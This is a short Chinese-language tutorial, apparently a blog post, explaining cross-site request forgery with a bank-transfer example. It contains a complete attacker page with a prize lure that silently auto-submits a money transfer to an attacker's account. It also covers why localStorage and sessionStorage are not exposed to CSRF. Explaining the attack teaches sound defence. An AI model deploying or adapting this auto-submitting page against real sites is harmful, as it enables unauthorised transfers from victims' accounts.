CSRF(cross-site request forgery)跨域请求访问

CSRF 当我们在成功登录一个网站后,会将后端返回的cookie数据进行存放,每一次访问该域名都会将cookie存放在请求头,也就相当于用户登录凭证,

但这种同域自动携带cookie存在一种问题 那就是当恶意网站也进去请求时,同样可伪造成正在登录的用户。

www.bank.com

html 复制代码
<!-- /transfer-form 页面上的代码 -->
<form method="post" action="/transfer">
  <input type="hidden" name="csrfToken" value="abc123xyz789" />
  <input type="text" name="amount" placeholder="金额" />
  <input type="text" name="routingNumber" placeholder="路由号" />
  <input type="text" name="account" placeholder="账户" />
  <input type="submit" value="Transfer" />
</form>

伪造页面

该请求携带cookie的数据

html 复制代码
<!-- 假设放在攻击者的站点 evil.com -->
<html>
  <body>
    <h1>你中奖了!点击下方领取奖金!</h1>
    <form method="post" action="https://bank.com/transfer">
      <input type="hidden" name="amount" value="100.00" />
      <input type="hidden" name="routingNumber" value="999999" />
      <input type="hidden" name="account" value="attackerAccount123" />
      <input type="submit" value="Win Money!" />
    </form>
    <script>
      // 自动提交:用户无需点击任何按钮,访问即发起转账
      document.forms[0].submit();
    </script>
  </body>
</html>

那能获取本地存储(localStorage)和会话存储(sessionStorage)的数据吗

首先说一下这两者的特点

本地存储长期存在我们的浏览器,及时浏览器关闭也不会丢失。

会话存储仅在当前tab中有效,tab关闭我们的数据也就随之丢失了

但两者有个共同特点 仅在当前域下可以访问。

所以CSRF 攻击主要依赖于 Cookie ,因为浏览器会自动发送它,攻击者无法直接操控 localStoragesessionStorage 来发起 CSRF 请求。

相关推荐
安全系统学习4 分钟前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
加密狗复制模拟2 小时前
坚石ET ARM加密狗复制模拟介绍
安全·软件工程·个人开发
galaxylove2 小时前
Gartner发布塑造安全运营未来的关键 AI 自动化趋势
人工智能·安全·自动化
scuter_yu3 小时前
主流零信任安全产品深度介绍
运维·网络·安全
江苏思维驱动智能研究院有限公司3 小时前
Sophos 网络安全:全球领先的自适应安全解决方案提供商
网络·安全·web安全
小能喵5 小时前
Kali Linux Wifi 伪造热点
linux·安全·kali·kali linux
浩浩测试一下10 小时前
渗透信息收集- Web应用漏洞与指纹信息收集以及情报收集
android·前端·安全·web安全·网络安全·安全架构
Fortinet_CHINA13 小时前
工业网络安全新范式——从风险可见性到量化防御的进化
安全·web安全
网安小白的进阶之路14 小时前
A模块 系统与网络安全 第三门课 网络通信原理-3
网络·windows·安全·web安全·系统安全
HumanRisk15 小时前
HumanRisk-自动化安全意识与合规教育平台方案
网络·安全·web安全·网络安全意识教育